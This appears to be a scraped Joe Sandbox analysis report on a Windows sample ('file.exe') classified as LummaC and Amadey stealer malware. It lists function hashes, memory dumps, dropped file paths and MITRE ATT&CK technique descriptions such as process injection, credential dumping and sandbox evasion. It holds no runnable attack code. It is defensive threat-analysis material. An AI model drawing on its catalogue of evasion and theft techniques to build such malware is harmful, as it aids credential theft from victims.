Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b7535c463ae1e5bcf3702ce14ffd2b5f638eb3eed67e07491a9c0359b24ec7dd
Instruction ID: 9eaef7f6449a926bdd011e6bf6c7dc343cb48eef6fbbacc1f9e318c96c7b604e
Opcode Fuzzy Hash: b7535c463ae1e5bcf3702ce14ffd2b5f638eb3eed67e07491a9c0359b24ec7dd
Instruction Fuzzy Hash: 6891DF356053118BC718DF1AC890A2BB3F6EF9D710F19996DE8858B391E734EC01CB86

Function 00428F5D Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction ID: 0033b059549c864885c35c4736f174911fb7ab2e2a7e13fdb612373215023671
Opcode Fuzzy Hash: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction Fuzzy Hash: 939168B2A083558FC714CF25945226FF7A2AFD1304F98892EE4E687382D639DD05CB4A

Function 0041CEA5 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d03f9876956ffac6f74f0866a7bde9a035be760a6bedc0074a97e3c21121794
Instruction ID: 79a636d4ef35a115cd61f203c964b336e8654c9833e22f85933b964d871e8aad
Opcode Fuzzy Hash: 7d03f9876956ffac6f74f0866a7bde9a035be760a6bedc0074a97e3c21121794
Instruction Fuzzy Hash: 824113B455835287CB209F289C413BBF3F1AFA2358F59455EE8C597380E738D992C36A

Function 00427307 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction ID: cd3817f91458a04e6f4698fbdec964a5fe2b941d70aabd782eb82a79c60357af
Opcode Fuzzy Hash: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction Fuzzy Hash: 4751EBB060C3208AC720DF60E49132BB7F0EFA2344F40492DD9D64B761EB799908DB9B

Function 00425F7D Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction ID: 5b09de0f708086b2db089408e795921656c95d083517461b5049a84f32a7c51a
Opcode Fuzzy Hash: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction Fuzzy Hash: D8415972D09B7487C230DA64A81017BB6D5DB85310F9A847FF9C697342EB38AD01A7CA

Function 004292D0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction ID: 8a214a05a26fc8f928125f8fb48cb90f3e515442b7647201508495c5dbe42c78
Opcode Fuzzy Hash: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction Fuzzy Hash: DA4127B2B193504BD71CCF258CA275FFBA2EBC5308F16883DE5869B284CA7494078B45

Function 00436B20 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction ID: 504e49b0b2ddc2a099550f91d12c5185d5b4ceea0bdb26274afb8cde00bc0dbb
Opcode Fuzzy Hash: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction Fuzzy Hash: B5314632A083385B83249E5D8982067F7E8EBCD714F1AE12FD884E7311E574ED0147C5

Function 0041597D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction ID: d5ab4806ffe72a1369b891b0c03ce99b48dccca7df38fd9f7e726c1ee5c76a78
Opcode Fuzzy Hash: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction Fuzzy Hash: 250124347A0A01DBE7258B15A891BB37293FB82310FA49029E18293281DB69AC91875D

Function 004345F0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: fc3937f92bddd9b9036211213233e27d23e83f380f16c5f831fb688d5273015d
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8E11EC336051D40EC3158D3C84005A5BF930AD7234F59939AF4B4972E6D62A9D8B8359

Function 0042A060 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction ID: 81ebb7552e56e7d5adf40a514b1d7c04d719dbb311c9cbdb1d4034df3b6f2776
Opcode Fuzzy Hash: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction Fuzzy Hash: D601D4F5B00B1147D7309E11A5C0B27B2A9AF8070CF59443EED4467342DB7EEC28C69A

Function 00402B70 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction ID: dad6f7438d27f99e102fe50886f5565f1d4720bfb2582f27d129ae765fd9d515
Opcode Fuzzy Hash: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction Fuzzy Hash: EEF0E937B1551607A214DD26ACC453BB366D7C6314B295439E841E3281C979F80692B8

Function 0042B475 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction ID: c74ae76d4aeefb6f888da0d67bba939e79ddb671e6929748130615be24dd088f
Opcode Fuzzy Hash: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction Fuzzy Hash: E6D022789048005BC608EB10EE12639B2688F4B2AEF00303DE443FF353CE38EC60890E

Function 0040C274 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction ID: 52fe0259059b82c7cb9fb3d0f913ef24527c2e8030ec2916e1bb67edfa7a0227
Opcode Fuzzy Hash: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction Fuzzy Hash: 01D0122494A2994AD3068F389CA1731BBB1EF03100F442558D142DB291C7D09016865C

Function 00427546 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00427607

Strings

B\, xrefs: 0042759A
JC, xrefs: 00427592
OR, xrefs: 0042758A

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: CopyFile
String ID: B\$JC$OR
API String ID: 1304948518-2992266057
Opcode ID: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction ID: 8ef9865115e3bd1ef4dc2c2120f56385b28599b8e62f1996c0c1473ca8bdbd32
Opcode Fuzzy Hash: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction Fuzzy Hash: 802180B964D340DFD3209F61A84671BBBF4FB86304F40582CE1D587291EB788515DB4A

Function 01170546 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 01170558
GetCurrentThreadId.KERNEL32 ref: 01170567
GetCurrentProcessId.KERNEL32 ref: 01170570
QueryPerformanceCounter.KERNEL32(?), ref: 0117057D

Memory Dump Source

Source File: 00000007.00000002.2945988755.0000000000F31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000007.00000002.2945934011.0000000000F30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2946857839.000000000117C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2946946760.0000000001182000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2947035105.0000000001184000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f30000_1747150d4f.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 5d90d0455ff161aeb70f94caad70a2e2fc7f51e21ba2a50d0257770f9c9e0d4f
Instruction ID: ca48be9b0c66b349472ee1868a7ce81b029db7535f11f4d217080eb6f00dee28
Opcode Fuzzy Hash: 5d90d0455ff161aeb70f94caad70a2e2fc7f51e21ba2a50d0257770f9c9e0d4f
Instruction Fuzzy Hash: 04F0B234C0020DEBCB15DBB4C548A8EFBF4FF1D200B9185A6E422F7204E730AB849B90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fuckingdllENCR[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\add[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\dll[1]

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
